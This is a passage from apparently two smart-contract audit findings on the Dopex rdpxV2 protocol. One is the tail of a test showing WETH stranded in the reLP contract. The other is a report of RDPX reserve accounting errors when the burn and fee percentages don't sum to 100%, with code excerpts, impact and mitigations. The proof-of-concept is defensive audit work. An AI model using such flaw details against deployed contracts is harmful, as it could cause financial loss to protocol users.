    reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core));

    // IMPORTANT PART STARTS HERE
    
    rdpxV2Core.setIsreLP(true);
    // create random bond so that reLP function is called
    rdpxV2Core.bond(1 * 1e18, 0, address(this));
    // it will leave some WETH in the `reLpContract` forever
    assert(weth.balanceOf(address(reLpContract)) != 0);
    console.log("weth.balanceOf(address(reLpContract)) =", weth.balanceOf(address(reLpContract)));
  }

Tools Used

VS Code

Recommended Mitigation Steps

Modify reLP so that it also transfers out its entire WETH balance, possibly to PerpetualAtlanticVaultLP in order to further incentivise staking (or to the RdpxV2Contract).

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L652-L684 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L180-L186 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L193-L199

Vulnerability details

When user doesn't use decaying bonds, RdpxV2Core::_transfer is used to transfer RDPX from the user, burn some amount of it and send some amount to feeDistributor. It additionally withdraws some amount of RDPX from the reserve (amount received from user + discount). Code doing this is shown below:

      // Transfer rDPX and ETH token from user
      IERC20WithBurn(reserveAsset[reservesIndex["RDPX"]].tokenAddress)
        .safeTransferFrom(msg.sender, address(this), _rdpxAmount);


      // burn the rdpx
      IERC20WithBurn(reserveAsset[reservesIndex["RDPX"]].tokenAddress).burn(
        (_rdpxAmount * rdpxBurnPercentage) / 1e10
      );


      // transfer the rdpx to the fee distributor
      IERC20WithBurn(reserveAsset[reservesIndex["RDPX"]].tokenAddress)
        .safeTransfer(
          addresses.feeDistributor,
          (_rdpxAmount * rdpxFeePercentage) / 1e10
        );


      // calculate extra rdpx to withdraw to compensate for discount
      uint256 rdpxAmountInWeth = (_rdpxAmount * getRdpxPrice()) / 1e8;
      uint256 discountReceivedInWeth = _bondAmount -
        _wethAmount -
        rdpxAmountInWeth;
      uint256 extraRdpxToWithdraw = (discountReceivedInWeth * 1e8) /
        getRdpxPrice();


      // withdraw the rdpx
      IRdpxReserve(addresses.rdpxReserve).withdraw(
        _rdpxAmount + extraRdpxToWithdraw
      );


      reserveAsset[reservesIndex["RDPX"]].tokenBalance +=
        _rdpxAmount +
        extraRdpxToWithdraw;
    }

As we see, reserveAsset[reservesIndex["RDPX"]].tokenBalance is only updated at the end of the function and _rdpxAmount + extraRdpxToWithdraw is added to it. However, it silently assumes that rdpxFeePercentage + rdpxBurnPercentage == 100 * DEFAULT_PRECISION.

But it doesn't have to be the case as rdpxFeePercentage and rdpxBurnPercentage are completely independent of each other and may be set at any time to any values from 1% to 100%. They can sum up to a value lower or greater than 100% (protocol doesn't enforce these two values summing up to 100% anywhere). If that is the case, then amount of RDPX burned + transferred out doesn't equal the amount received from the user (_rdpxAmount). It means that we don't count it in reserveAsset[reservesIndex["RDPX"]].tokenBalance.

If rdpxFeePercentage + rdpxBurnPercentage < 100%, then we will have less RDPX accounted than rdpxV2Core really has and if rdpxFeePercentage + rdpxBurnPercentage > 100%, then the protocol will think that rdpxV2Core has more RDPX than it really has.

Impact

In the worst case, it may cause underflows when we subtract money from reserveAsset[reservesIndex["RDPX"]].tokenBalance. It will also cause getReserveTokenInfo to return incorrect values for RDPX.

It is possible to recover by calling sync, but it would have to be called manually every time.

Proof of Concept

If rdpxBurnPercentage + rdpxFeePercentage != 100% then RDPX balance will not take it into account and will calculate balance incorrectly (either some extra RDPX received from user will be ignored, or a deficit will not be accounted):

      // Transfer rDPX and ETH token from user
      IERC20WithBurn(reserveAsset[reservesIndex["RDPX"]].tokenAddress)
        .safeTransferFrom(msg.sender, address(this), _rdpxAmount);


      // burn the rdpx
      IERC20WithBurn(reserveAsset[reservesIndex["RDPX"]].tokenAddress).burn(
        (_rdpxAmount * rdpxBurnPercentage) / 1e10
      );


      // transfer the rdpx to the fee distributor
      IERC20WithBurn(reserveAsset[reservesIndex["RDPX"]].tokenAddress)
        .safeTransfer(
          addresses.feeDistributor,
          (_rdpxAmount * rdpxFeePercentage) / 1e10
        );


      // calculate extra rdpx to withdraw to compensate for discount
      uint256 rdpxAmountInWeth = (_rdpxAmount * getRdpxPrice()) / 1e8;
      uint256 discountReceivedInWeth = _bondAmount -
        _wethAmount -
        rdpxAmountInWeth;
      uint256 extraRdpxToWithdraw = (discountReceivedInWeth * 1e8) /
        getRdpxPrice();


      // withdraw the rdpx
      IRdpxReserve(addresses.rdpxReserve).withdraw(
        _rdpxAmount + extraRdpxToWithdraw
      );


      reserveAsset[reservesIndex["RDPX"]].tokenBalance +=
        _rdpxAmount +
        extraRdpxToWithdraw;
    }

Tools Used

VS Code

Recommended Mitigation Steps

rdpxBurnPercentage and rdpxFeePercentage should always sum up to 100% - it should only be possible to set one of these values and the second one should always equal 100% - <FIRST_ONE>.

Alternatively, they can sum up to a value lower than 100, but it has to be accounted. These two values summing up to a value > 100% doesn't make sense as the protocol would spend more money than it received.

Assessed type

Math